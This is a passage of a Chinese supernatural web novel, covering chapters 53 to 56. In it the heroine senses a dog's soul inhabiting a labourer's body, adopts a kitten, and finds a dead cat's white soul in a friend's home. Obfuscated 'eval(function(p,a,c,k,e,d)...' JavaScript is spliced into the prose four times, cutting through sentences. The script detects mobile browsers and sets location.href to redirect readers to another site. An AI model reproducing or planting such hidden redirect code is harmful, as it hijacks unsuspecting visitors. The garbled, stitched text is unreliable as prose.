“我回家的时候，我哥已经出事了，他不会说话，不会走路，在家里爬来爬去，我妈已经老了，根本按不住他，她就坐在地上，急得嚎啕大哭……” “除此之外呢，有什么灵异事件吗？” “那个时候，我压根没往这方面想，我觉得是我哥的生活压力太大，精神出现了问题，就带他去三甲医院的精神科挂了号，但是没用，医生都没遇到过这样的情况，他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419865|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行为举止完全不像人啊……我妈去找了隔壁村的神婆，魂也叫了，符也挂上了，仪式也做了，但都没用。我哥一点好转的迹象都没有，我妈也生病了，没办法，我把我妈接到我家养病了，现在我又要上班，又要处理这件事，实在没办法了，才来找了小周。” 徐阳对纪明霜解释道，“小周就是你们领导。” 纪明霜点点头，“嗯。” 张大叔还想继续说，但车已经开到十三号楼的单元门口了，他依旧是叹气，“我引你们进去吧，你们进去看看就明白了……” 众人走进了楼道，张大叔打开房门，首先映入眼帘的是门口的简约灰色地垫和乱七八糟的鞋子，这些鞋子坏了不少，鞋垫也躺在地面上，甚至还有一些牙印。 抬眼望去，客厅里很乱，桌子歪斜，椅子倒地，有一盆花倒在地上，花盆已经碎裂，黑色的花盆土洒在白色的地砖上，垃圾也到处都是，被扯坏的卫生纸、用过的一次性筷子、书本的残页，还有沙发里的海绵。 大叔苦笑着说，“他家就是这样的情况，你们不用换鞋了，直接进来吧。” 大叔在各个房间里找了一圈，终于在衣帽间里找到了他。 高大师皱眉看着房间里的一切，“怎么会这么严重……” 大叔说，“是啊，我哥现在这样，我真的没办法，我妈卧病在床，还是哭个不停，眼睛都快哭坏了，我的心里也难受啊……” 纪明霜也跟着走了进去，这里是衣帽间，衣服被扔得到处都是，在房间的角落里，一个五十多岁的男人只穿着一条短裤，正蜷缩在衣服堆里睡觉，他似乎是给自己搭了个窝，现在正睡得很香，一边打呼噜，一边吧唧嘴，还时不时伸伸胳膊、蹬蹬腿，嘴里偶尔发出‘呜呜’的声音，他似乎正在梦里追逐猎物。 张大叔满怀希望地看向了高大师，“大师，怎么样，你能看出什么吗？” 高大师摇了摇头，凝重道，“我目前还看不出……” 张大叔轻声说，“那我们先去客厅吧，要是把他吵醒，那可就不好了……” 徐阳把阿依拉到了身后，小声地问，“怎么回事，难道他会攻击人吗？” “会的……” 张大叔没有多说，他带着众人走出了衣帽间，回到了客厅。 他把几个倒地的椅子扶了起来，说，“最开始的时候，他都不会开门，我就把他锁在房间里，他当时还比较听话，但时间一长，他受不了了，就学会自己开门了。” 众人安静地听着。 张大叔继续说，“我也没办法，就把门锁了，那天，我也睡在这里，整整一夜，他都在不停地扒门、刨门，还发出非常悲哀的凄厉叫声，我有点不忍心，但还是忍住了。但我第二天开门，看到他的双手上都是血，手指上的皮都磨掉了，指甲也掉了两个，脑门也红肿一片，看上去特别吓人，也特别凄惨。那天中午，我妈过来送饭，她看到他的样子，尖叫一声就晕倒在地，醒来之后，就爬不起来了，尾椎骨裂，得卧床休养，我现在又要照顾我妈，又要照顾我哥，我、我也快坚持不住了……” 53. 第53章 白色 张大叔的情绪有些激动，他坐在椅子上，捂着脸，开始‘呜呜’地哭。 客厅里的众人也陷入了沉默。 高大师说，“他的情况比我想象得更加棘手……” 徐阳说，“我们之前也没见过这样的事啊，对了，他生病之前，有什么不对的地方吗？” 阿依也跟着说，“无论多小的事都要说出来，要不您再仔细想想？” 张大叔痛苦地揉着脑袋，“没有，一切如常，我哥是建筑工人，干的是体力劳动，在工地上扛沙子和水泥，我哥身体好，又大方，性格开朗，人缘不错，我自己也想了很久，为什么偏偏是他遇到这样的事……” 林然突然出声，“他醒了。” 纪明霜说道，“你们有没有听见什么声音？” 众人安静了下来，只听到衣帽间里传来了奇怪的叫声，‘呜呜嗷嗷’的，听上去非常惊恐和不安。 高大师说，“要不我们过去看看他吧……” 张大叔点了点头，“可以，但是你们要小心，之前那个神婆过来的时候，拿了长棍子，还有铁丝网，我哥当时像疯了一样，一口就咬在了神婆的手上，唉，当时血就流下来了，半天都止不住，后来伤口还感染了呢……” 阿依闻言，拉着纪明霜一起走到了队伍的后方。 张大叔走在最前，他小心翼翼地把门打开，他哥哥就立马扑了上来，一边发出激动的‘嗷呜嗷呜’声，一边在张大叔的身上闻来闻去，还时不时直起上身用脸蹭着张大叔的手背。 说实话，这个场景属实有些……诡异。 徐阳后退了一步，“噫——” 高大师也紧紧地皱着眉。 而后，张大叔的哥哥才发现了其他人，他立刻后退，身体绷得紧紧的，眼睛直勾勾地盯着为首的高大师和徐阳，他龇牙咧嘴，发出低沉的咆哮声，徐阳动都不敢动，说，“你们觉不觉得，他现在，简直就像一条狗一样啊……” 张大叔立刻反驳道，“怎么可能！” 纪明霜问道，“张大叔，你之前说你家的狗丢了，狗是怎么丢的？” 张大叔的语气有些恼怒，“都这个时候了，你还在关心狗？” 纪明霜说，“我记得你之前牵着的是一只小白狗？” “不对，丢的那只是花狗，你问这个干什么？” 纪明霜没有多说，因为她已经看出来了，这个男人的身体里，装着一只白白的灵魂。 那是一只小狗的灵魂。 因为小狗的灵魂在人的身体里，就像一双孩子的小脚穿着一双大人的鞋袜，很不合适，在纪明霜的手记中，也有类似的记载，被手记的作者称为‘灵魂溢出’现象。 但在手记的记载中，‘灵魂溢出’是两个灵魂挤在一个身体里，纪明霜在后方观察了很久，都没有看到张大叔哥哥的灵魂。 他的灵魂去哪里了？ 是休眠了，还是迷失了，还是逸散了？ 灵魂被装进不合适的容器里，似乎还没有出现排异反应，是因为融合的时间不够长吗？ 纪明霜问道，“他这样多久了？” 张大叔看了看高大师，又看了看徐阳，这两人都没有对纪明霜的话有什么异议，他也尽量咽下心里的焦急和怒气，答道，“大概半个月了……” 半个月啊…… 不长也不短。 纪明霜问道，“那他的身体，一直都这么健康吗？” 张大叔生气了，“什么，我哥现在这副样子，哪里算得上是‘健康’？” 张大叔的哥哥也被张大叔的情绪感染，他怪叫一声，扑向了为首的高大师，高大师后退一步，勉强躲过了攻击。徐阳赶紧护着两个女生，大喊道，“师父，坚持住，张大叔，快帮帮忙啊！” 张大叔也想帮忙把哥哥拉住，但是他实在拉不住，阿依趁机把手里的烤肠扔了出去，“过来，吃！” 她的语气就好像在说：嗟，来食！ 张大叔看着落到哥哥身边的烤肠，大喊道，“这怎么可能管用，你们还是快跑吧，别忘了把门关上！” 阿依看了看张大叔的哥哥，又看了看纪明霜，“貌似……已经管用了？” “怎么可能？”张大叔一边说着，一边看向了哥哥，然而，他哥哥凑到烤肠旁边，一边闻，一边舔，而后叼着烤肠，坐在地上，津津有味地吃着。 别人看不到，但纪明霜和林然能看到，那只白白的小狗灵魂，它的尾巴已经摇成一朵花了。 林然也看着小狗的灵魂，他说，“不一样。” 纪明霜：“啊？” 林然说，“那天，我们看到的小狗，竖着尖尖的耳朵，现在的这只小狗，垂着大大的耳朵。” 纪明霜说，“我也觉得，这只小狗要更大一点……而且那天的小狗，胆子很小，有点怕人，这只小狗还蛮凶的。” 林然说，“所以，才半个月，就丢了两只狗，还是说……他们做了什么不好的事。” 纪明霜问道，“张大叔，你们的狗，到底是什么情况？” 张大叔的语气不善，“关你什么事，小周把你派过来，就是为了关心狗？” 高大师插话道，“老张，话不是这么说的，我跟你说，这个小姑娘很有本事的。” 徐阳说，“就是。” 阿依也跟着说，“就是就是！” 这时，张大叔的哥哥已经吃完了烤肠，但他还没有吃饱，仍在到处闻着，高大师试着走了过去，张大叔的哥哥立刻凑到高大师的身边，用脸蹭着高大师的手，嘴里发出’咿咿呀呀‘的声音，神情姿态亲热极了。 徐阳说，“不是吧……居然还挺管用的，阿依，你可太厉害了。” 阿依说，“那可不，说起来，你是不是还有一根烤肠？” 徐阳说，“算了吧，这根我想留着自己吃。” 张大叔没有听到徐阳和阿依的窃窃私语，他蹲在哥哥的面前，怔怔地盯着哥哥的脸，眼角都是浑浊的泪花，“哥……” 纪明霜问道，“张大叔，关于狗的事，如果你不说清楚，那我也帮不上忙了。” 张大叔头也不回，“爱帮不帮。” 高大师也摇头叹息，“这……那我也爱莫能助了。” 张大叔沉默了很久，直到他哥哥已经觉得不耐烦，开始挣脱他的怀抱了，他这才说，“好、好吧，我全都说，但这也只是猜测，你们……先去客厅吧。” 到了客厅之后，张大叔的哥哥也跟了出来，他闻到了徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419866|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳身上烤肠的味道，正围着徐阳团团转呢。 阿依还是有点嫌弃，毕竟是五十多岁的半祼大叔，身上又脏，味道又难闻，没办法，只能跟纪姐贴贴了，嘿嘿。 她把椅子搬到了纪明霜的旁边，看着纪明霜拿出了手记，又拿出了手机，好奇地探头过去，“那个，我能看看吗？” 纪明霜点点头，“可以。” 阿依看到了纪明霜手机浏览器的搜索栏，小声地念了出来，“树莓中学4.21重大火灾事故调查报告公布……” 纪明霜看向了林然，林然面无表情，“哦。” 纪明霜：“……嗯。” 阿依：“啊？” 纪明霜：“我点错了，不是这个。” 而后，阿依看到纪明霜在搜索框里输入：小狗的灵魂是什么颜色的？ 然后，搜索引擎给出了答案，灵魂无法用颜色描述，请相信科学。 阿依在纪明霜耳边问道，“纪姐，你刚刚是不是看到什么了？” 纪明霜点了点头，而后在通讯录里找到一个电话号码，打了过去，幸运的是，对方很快就接通了，“喂，你好？” 纪明霜说，“那个，方婆婆，是我，纪明霜，我想问一下，小狗的灵魂是什么颜色的？” 方婆婆顿了顿，慢悠悠地问道，“哦，你问这个干什么？” “我、我这边遇到了一点事……” 方婆婆说，“你这个小姑娘，心还是太善了……算了，这么说吧，小动物的灵魂不太多见，你还年轻，见的不多，它们绝大多数都是白色的，灵魂的颜色跟皮毛的颜色无关，我家的小狗们，只有小白，生前是白色的，明白了吗？” 纪明霜说，“谢谢您，我明白了。” 方婆婆笑了笑，“没事干的时候，可以来看看我，不过最近不用来，我正忙着打麻将呢。” 纪明霜：“等等，麻将，是网上麻将还是？” 方婆婆：“呵呵。” 而后，方婆婆挂断了电话。 另一边，张大叔也松了口，“我……我确实有事没说，那个神婆过来的时候，说是要叫魂，带了一只狗，但是……” “但是什么？”徐阳问道。 “但是我哥……一直在闻那只狗的屁股，还用嘴去舔那只狗，那只狗是只小狗，被我哥吓得够呛，神婆就用那种防护用的铁丝网拦在我哥的身前，想把我哥和小狗分隔开，但我哥就跟受了刺激一样，一口就咬在神婆的手上。我、我当时都吓呆了，后来我反应过来，用棍子打都没用，我哥就是不松口，神婆让我把水浇在我哥的脸上，我哥这才松了口，待在角落躲着了，我还给神婆赔了三千块医药费，唉……” 纪明霜问道，“那你们家的狗呢？” 张大叔低着头说，“之前的狗不够听话，我哥就把狗给……” 徐阳说，“扔了？” 张大叔自知理亏，“我、我哥也不想的，但那些狗很恋家，扔了还能跑回来，所以就、就……” 高大师说，“你们做了缺德事？” “没、没有……” 徐阳：“你倒是快说啊！” “我哥就把狗送给工友们了……”张大叔又弱弱地补充道，“不止一只。” 55. 第55章 小饼 纪明霜给林然，呃不，是给小黑猫点了一份新猫体检套餐。 “这只小猫差不多快两个月大了啊……除了营养不良之外，看上去没什么问题。”宠物医生说，“接下来就是等检测结果，大概要二十分钟左右。” “好的。”纪明霜看着被医生抓住后脖颈的小黑猫，它的脸上仿佛写着‘生无可恋’四个字。 在一旁围观的年轻女孩也凑了过来，“咦，这只猫好乖啊，刚刚抽血的时候完全没有挣扎，还会自己吃驱虫药诶。” 纪明霜摸了摸小黑猫的小脑袋，“好乖哦。” 林然：“喵。” 嗯，这个‘喵’仍然是语气助词，没有实际意义。 “那……我能摸一下吗？”那个女孩问道。 纪明霜问林然，“她能摸一下吗？” 小黑猫没有点头，也没有摇头，只是用蓝膜尚未褪去的双眼幽幽地盯着纪明霜。 这时，纪明霜听到宠物医院的二楼楼梯那边传来匆忙的脚步声，一个穿着蓝色工作服装的护士小姐走了下来，“胖丫主人，胖丫主人呢，能不能上来一趟？” 那个女生连忙走了过去，“来了！” “输液结束了，接下来要给胖丫打针，我们两个加起来都按不住它，它刚刚还把圈弄掉了……” “好，我来帮忙。”那个女生上了二楼，纪明霜坐在一楼大厅的座椅上，继续等待检测报告。 林然端坐在她身边，用尾巴围着自己的身体，嗯，没错，一只小猫，但非常端正的坐姿，纪明霜没忍住，摸了摸小猫的头顶，“林然？” 林然抬头看了她一眼，“喵？” 有事？ 纪明霜连忙摇头，“没有。” 林然转过了头，继续端坐。 “林然……” 林然：“喵？” “你好可爱哦。” 林然抬头看了她一眼，揣着小爪子，换了个姿势，卧了下来，还打了个哈欠，看上去就像一块黑色的小面包，“喵，喵喵。” 纪明霜，你好无聊。 这时，刚才的小姑娘费力地提着一个航空箱下了一楼，她又坐回了纪明霜的旁边，医生现在正在化验室里，她坐在这等医生出来。 “这只猫真的好松弛啊，它闭上眼睛了，是要睡觉了吗？”那个女孩问道。 纪明霜说，“嗯，我想，它应该是在闭目养神吧……” 林然睁开双眼，站了起来，从纪明霜的左边，走到了纪明霜的右边，然后卧了下来，又闭上了眼睛。 那个女孩说，“这只猫这么乖，你都不用买航空箱了吧。” “我想，嗯，还是得买一个吧。” 毕竟真·小黑猫可不怎么乖巧，现在乖巧懂事又听话的，是林然啊。 那个女孩笑了笑，问道，“你是刚刚开始养猫吗？” 纪明霜点点头，“是啊，我今天刚刚把它从音乐广场的花坛那边绑架过来。” “咦……十几天前，我刚刚领养了一只小猫，也是被人从花坛那边捉到的，不会是同一窝的小猫吧？” 纪明霜跟她转述了烧烤店老板娘说过的话，她看了看纪明霜的另一边静静卧着的小黑猫，“真是只小可怜，我的那只小猫，现在已经比它大了一圈了……” 纪明霜又摸了摸林然的头，“唉，真是只小可怜。” 林然：“喵喵，喵喵。” 想摸就直接摸，不用找理由的。 纪明霜：“嘿嘿。” 另一边，小黑猫的检测报告出来了，目前的数值一切都好，就是营养不良和稍微脱水，纪明霜在宠物医院买了许多宠物用品，艰难地出了门，正下台阶时，那个女孩跟医生拿了药，也走了出来，“咦，你买了这么多东西，提得动吗，要不我送你一程吧？” 纪明霜说，“不用，我就住在灰灰公寓，只有一个街道的距离。” “这条街这么长，行了，你坐我的车吧，我正好顺路，能载你一程。” 纪明霜原本想拒绝的，但那个女孩已经把纪明霜手里那一袋又沉又勒手的幼猫猫粮接了过去，走到了她的车旁。要知道，那个女孩的左手还提着一个大大的航空箱，航空箱里还有一只看上去就很重的橘猫啊。 她单手打开车门，把航空箱放了进去，又把猫粮放在了后座上，之后，她打开后备箱，把纪明霜买的其它物品放了进去，回头见纪明霜仍站在原地，这时，她才发现了不对，“哎，不对，你猫呢？” 纪明霜低头看了看，林然正站在她的脚边。 那一瞬间，那个女孩的眼神很是复杂，包含着震惊、茫然、不知所措和难以置信。 她尽量把破碎的语句组织得通顺一些，“你的猫，真的是只猫吗……啊，不好意思，我只是，第一次遇到这样的猫。” 纪明霜把林然抱了起来，坐上了那个女孩的车。 那个女孩启动了车辆，“说起来，我们领养了同一窝的小猫，真的好有缘分啊。” 纪明霜揉着小黑猫的小爪子，“是啊。” “说起来，我这里有一个多余的航空箱，就是有点旧了，如果你想要的话，可以到我家来拿。” “诶，不用了，谢谢你，但我已经从网上下单了……” “哦，这样啊！” 两人聊了几句，很是投机，那个女孩名叫小饼，是果汁大学的大四学生，正在毕业实习的考核阶段，她的猫偷吃猫粮，得了肠胃炎，每天都得打针输液，所以她每天都得往返实习单位和宠物医院，这段时间真的很累。 纪明霜也看得出来，她的神情有点疲惫，幸亏她比较年轻，正是扛造的时候。 下车之前，两人交换了联系方式，小饼把纪明霜送到了灰灰公寓的楼下，又把纪明霜买的东西从后备箱里拿了出来，临走之前，她忍不住多看了小黑猫两眼，“说起来，我的猫上个月去世了，也是只黑猫呢……” 纪明霜，“这样啊……真是遗憾。” “没关系……它活了十六岁，差不多算寿终正寝吧……”她的声音越来越小，“怎么想都不可能吧，黑猫的灵魂，会是白色的吗？” 纪明霜猛地抬头：“啊？” 林然：“喵。” 小饼：“啊……不好意思，我突然说了奇怪的话……我只是最近有点累了，小纪姐，你就一直站在门口，不进去吗？” 纪明霜：“这……我突然觉得，我好像需要一个航空箱！” 小饼：“啊？” 纪明霜：“嗯！” 小饼看了看地上放着的若干猫咪用品，又看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419868|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看纪明霜抱着的小黑猫，纪明霜说，“这个嘛……能不能等我一会儿，最多五分钟！” 小饼愣愣地说，“可以是可以……” 纪明霜把小黑猫放在地上，又抱起了猫咪用品，“那好，稍等我一会儿，先别走啊。” …… 五分钟之后，纪明霜气喘吁吁地跑下了楼，她抱着小黑猫，一路跑到了小饼的车前，小饼说，“小纪姐，不用这么着急，你跑得怪累的呢。” 纪明霜坐回了副驾驶的位置，关上车门，“说起来，小饼，你是一个人住吗？” 小饼摇了摇头，“没，我家就在实习单位附近，所以我跟爸妈住在一起，这辆也是我爸的车。” “这样啊……”纪明霜又问道，“那个，你为什么说，猫的灵魂是白色的呢？” 小饼说，“小纪姐，你问这个干什么？” 纪明霜说：“没，就是有点好奇，你是从哪里看到的，书上吗？” “不是从书看到的。”小饼说，“那个，我说了之后，你可别害怕，我的猫去世之后，我偶尔能看到它……最开始的时候，我还以为是我的眼睛有问题，但是，我在公司的时候，或者我在外边的时候，就从来没有发生过类似的事，所以我觉得，应该是我家阿宝的灵魂吧……” “你平时能看到一些不同寻常的东西吗？”纪明霜试探着问。 “你是说飞蚊症吗，没有，看不到。”小饼说，“那段时间，我特别累，我白天哭，晚上哭，但还得擦干眼泪去上班，工作干得心不在焉的。日子就这么昏昏沉沉地过着，突然有一天，我从余光里，看到了白色的影子。” 纪明霜认真地听着。 “最开始的时候，我没觉得是阿宝，因为阿宝是黑色的，那个影子是白色的，可是，我看到它爬上了阿宝的通天柱猫爬架，就像平时的阿宝一样，通过同样的路线，爬到了猫爬架的最顶层，它又走到食碗边巡视，又走到水碗边看水，阿宝在最后几天，也是那样静静地看着水，我、我……” 泪水模糊了视线，小饼再也说不下去了，她狠狠地吸了吸鼻子，用力擦了眼泪，专心开车。 纪明霜坐在车里，看着路灯一盏一盏地经过，行道树萧萧索索，微微地叹了口气。 小饼突然反应过来，“哎呀，其实我应该顺路把航空箱拿给你的，我家距离灰灰公寓也有一个街道的距离……要不我一会把你送回去？” 纪明霜摇摇头，“不用，我自己可以回去，我只是来确认一下，就当我多事了吧……” “没有的事。”小饼说，“不要这么说嘛，我最近都好难过，跟你聊了之后，我感觉好多了。” 小饼把车停好，又把装着胖丫的航空箱提了起来，领着纪明霜进了楼道。 小饼的爸爸妈妈都在家，此时正把热腾腾的饭菜端上桌，见到小饼身后跟着的纪明霜，很是热情地招呼道，“咦，小饼，你带朋友来啦，快请进吧，真是的，有客人怎么不早说，也不知道今晚的菜够不够……” 小饼把航空箱里的胖丫放了出来，胖丫立刻跑了出来，尾巴翘得高高的，而小饼的妈妈怀里抱着一只小小的奶牛猫，应该就是小黑猫同一窝的姐妹了。 纪明霜跟他们打了招呼，而后就看到房子里，确实有一只白白的猫的灵魂。 56. 第56章 猫粮 果然如此啊…… 但是，那又如何呢？ 只不过是一只猫的灵魂而已，说实话，没什么大不了的。 方婆婆那里，连猫带狗的，至少有八只呢，也没见得对她的生活有什么影响。 更何况，它是小饼心爱的猫啊…… 想必它也舍不得离开小饼吧。 纪明霜正准备离开，却被小饼的父母热情地挽留了。 小饼的妈妈把怀里的小猫放进猫窝里，又去厨房洗了手，这才拿了干净的碗和筷子来，“既然是我们家小饼的朋友，来都来了，饭菜都上桌了，怎么能现在就走呢？” 小饼的爸爸也说，“就是啊……小姑娘，你还没吃晚饭吧，正好尝尝我的手艺！” 纪明霜向小饼投去了求救的目光，然而，小饼两眼放光地看着桌上的菜肴，“哇，糖醋小排，酸辣藕丁，还有香煎豆腐，这些都是我喜欢吃的，小纪姐，要不你也留下来吃嘛……” 纪明霜后退了两步，“这个……” 就在这时，纪明霜怀里的小黑猫开始剧烈挣扎，纪明霜都快抱不住它了，小饼见状，立刻回房间把航空箱拿了出来，小饼的爸爸也很配合，他把小黑猫抓了起来，一把塞进了航空箱里，他擦了一把头上的汗，“唉呀，这只猫这么小，力气却这么大，啧啧。” 不知所措的纪明霜：“……” 被关在航空箱里的林然：“……喵？” 怎么办？ 纪明霜仍不死心，向林然投去求救的眼神。 她是真的不适应这样的场景。 她住的公寓冷清，且闹鬼；她工作的公司，稍微有点冷清，但也闹鬼。 这里很有家的味道，周围都是温暖的香气，真的太温馨了，她有点不舒服。 林然：“……喵。” 小黑猫立刻开始悲哀地嚎叫，弱小可怜又无助，但是声音极大，穿透力也很强，小饼的妈妈果然犹豫了，“这只小猫叫得好可怜，是不是想回家了啊……” 小饼也有些犹疑，“也许吧，它之前真的乖得不得了。” 小饼妈妈：“是吗，但是……” 纪明霜说，“不信您看。” 她提起了航空箱，小黑猫立刻不叫了。 她放下了航空箱，小黑猫立刻开始哀嚎。 小饼妈妈有些可惜地说，“既然这样的话……” 这时，小黑猫的嚎叫声引来了另一只猫，那就是黑猫阿宝，嗯，黑猫阿宝的白色灵魂。 于是，纪明霜眼睁睁地看着阿宝从猫咪通天柱最顶层的藤编猫窝跳到了窗帘上，又顺着窗帘往上爬，爬到了窗帘盒上。它从窗帘盒的一边跑到另一边，又依次跳到冰箱、沙发靠背、沙发坐垫、地面上，最后它来到了航空箱的旁边，并围着航空箱着急地绕来绕去，时不时发出‘喵喵’的叫声，纪明霜顿时良心不安，她似乎欺骗了一只小动物的感情…… 在小饼疑惑和惊诧的目光中，纪明霜提起了航空箱，“多谢款待，但是我得走了……” 小饼也跟着走到门口，“那，小纪姐，我送你一程吧。” 纪明霜连忙摆手，“不用了，步行七八分钟的距离而已，你赶紧吃饭吧。” 小饼妈妈说，“那……记得下次再来啊！” 纪明霜连忙点头，“嗯嗯，好的。” 小饼又叮嘱道，“小纪姐，你回家之后，记得告诉我一声。” 纪明霜：“嗯。” 离开了小饼家之后，纪明霜才松了口气，她一边走，一边踢着地上的小石子，“林然，我是不是有点多事啊……” 林然：“喵。” 没有。 “你今天好像格外沉默……” 林然：“喵喵……” 因为我不太习惯被关在笼子里…… 纪明霜这才反应过来，她把航空箱放在地上，把小黑猫放了出来。 小黑猫走了出来，先是伸了个懒腰，而后安静地走在纪明霜的身边。 过了一会儿，林然：“喵喵，喵喵。” 如果我没记错的话，你好像没给我吃东西…… 纪明霜：“对哦，你现在怎么样，很难受吗？” 林然：“喵喵，喵喵……” 饿倒是其次，但我没力气了…… 纪明霜赶紧把林然猫抱了起来，“抱歉……” 林然：“喵。” 没关系。 …… “回家之后，她先是给小黑猫准备了食物，然后才向小饼报了平安。 她回到客厅，见林然正坐在碗的旁边，纪明霜走了过去，关切地问，“怎么，不好吃吗？” 林然：“喵，喵喵，喵喵喵……” 还没吃，感觉有点奇怪，我是第一次吃猫粮…… 纪明霜：“失策了……要不我给你准备一点人和猫都能吃的食物，比如水煮鸡胸肉？” 林然：“喵。” 不用了。 小黑猫低下头，尝了一颗猫粮。 “怎么样，味道怎么样？” 林然：“喵……喵，喵，喵喵。” 嗯……没什么特别的味道，有一点腥，又有一点脆，嗯，类似饼干的感觉…… 而后，林然就从小黑猫的身体中分离了出来。 真·小黑猫看了看纪明霜，又看了看林然，毛都炸了起来，可是它一低头，就能吃到猫粮，猫粮旁边还放着干净的饮水，于是，在害怕和吃之间，它选择了害怕地吃，并且大口大口地大吃特吃。 吃饱之后，小黑猫找了个地方躲了起来，估计过一段时间才会出来吧…… 新猫总是需要一段时间来适应的。 嗯，这段时间差不多是三天…… 是的，纪明霜三天没去上班，每天睡到自然醒，然后出门觅食，再然后回家休息。 最开始的时候，小黑猫很警惕，也很敏捷，如果纪明霜靠近，它就会转身逃跑，躲在它认为安全的地方：一个破纸箱里。 纪明霜给它的小碗里添上猫粮，它又会凑过来吃东西，吃两口，抬头看纪明霜一眼，再吃两口，再抬头看纪明霜一眼。第三天的晚上，纪明霜正坐在沙发上看电视剧，小黑猫突然跳上了沙发，不管不顾地卧在了纪明霜的身边，纪明霜尝试着摸了摸小黑猫的脑袋，它也没有抗拒，过了一小会才跑掉。 至于房东小陈哥的意见——他完全没有意见，因为他寂寞了太久，新来一只可爱的小东西，他喜欢都来不及，就连女鬼也经常穿墙而入，隔空摸摸小黑猫的脑袋。 虽然如此，由于小黑猫曾经和林然合二为一，所以它和林然更加亲近，当它靠近林然的时候，林然仍有概率成为林然猫。 当纪明霜打着哈欠走到小黑猫身边，小黑猫没有警惕地坐起来，而是懒懒地躺在原地，连尾巴也一动不动的时候， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419869|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪明霜就知道，现在可以尽情rua猫了。 从头到身体，再到尾巴根，小黑猫似乎很享受，尾巴翘了起来，她直接把小黑猫放倒，它也并不抗拒，纪明霜抬起了小猫的头，端详道，“三角形的头往往有毒啊……” 林然：“喵喵。” 那是因为我还没发腮。 纪明霜把小黑猫抱了起来，“好乖哦……咦，貌似是只公猫啊，唉呀，怎么突然开始挣扎了……” 林然：“喵，喵喵！” 纪明霜，你能不能有点边界感。 纪明霜这才反应过来。 啊！ 啊啊啊啊—— 她到底做了什么啊…… 太过忘情了……居然真的把他当做猫了！ 好像不知不觉做了很糟糕的事…… 她立刻道歉，“对……对不起，我这就给你买罐罐！” 林然眯着猫眼看她，“……喵。” 嗯，这个‘喵’是语气助词，没有实际意义。 中午的时候，纪明霜给小黑猫准备了午饭，听到颗颗猫粮坠入陶瓷猫碗里的清脆声响，小黑猫立马恢复了正常，它狂奔到猫碗前，开始像挖掘机一样吃猫粮，纪明霜蹲坐在猫碗边，感叹着，“林然，你看，它的嘴张得好大哦。” 恢复了正常的林然：“嗯。” 小黑猫心满意足地吃完了最后一口猫粮，而后，它看到了林然，立刻贴到林然身边，想用脑袋蹭蹭林然，于是，小黑猫再次变身成为林然猫。 它的速度真的很快，纪明霜都没反应过来，她连忙给猫碗里添了猫粮，然而并没有用，小黑猫已经吃饱了。 纪明霜把小黑猫抱在怀里，小小的身体很是温暖，她说，“不过，这样也不错啊……” 林然：“喵喵，喵喵。” 当然很不错，就像睡一觉，睡醒之后，就又有猫粮吃了。说起来，纪明霜，这只猫和你有点像呢。 纪明霜：“……” 这时，纪明霜放在卧室里的手机响了，纪明霜把猫放下，走到卧室，拿起手机，是徐阳给她打来了电话，“纪姐，刚刚张大叔联系我们，说他哥哥恢复了一些神智！” 纪明霜：“咦，是吗？” 徐阳在电话里说，“我也不知道具体的情况，这些都是张大叔说的……但是张大叔的声音不太对劲，他让我们赶紧过去，纪姐，你现在方便吗，我负责开车，先去接阿依，再去接你。” “好。” 纪明霜现在确实有空，况且这也算是领导安排给她的工作，她回头一看，林然现在仍用着小黑猫的身体，所以…… “徐阳，我想带只猫过去，可以吗？” 电话那头的徐阳：“啊？” 纪明霜企图解释，“嗯……是一只很有灵性的猫。” 徐阳：“哦哦，可以的！” 休息的这几天，纪明霜已经摸清了规律，如果不给小黑猫准备猫粮，真·小黑猫是不会顶号上线的。况且小黑猫现在刚刚吃饱，就算真的有猫粮，它也会无动于衷。 因而，纪明霜没有带航空箱，她抱着林然猫，站在楼下等车。 阿依倒是很喜欢小黑猫，她凑了过来，“这只猫好小，而且好乖哦。” 于是，小黑猫卧在了纪明霜的另一边，离阿依更远一些。 到了目的地之后，纪明霜才发现，这件事比她想象得更加复杂。 57. 第57章 漏水 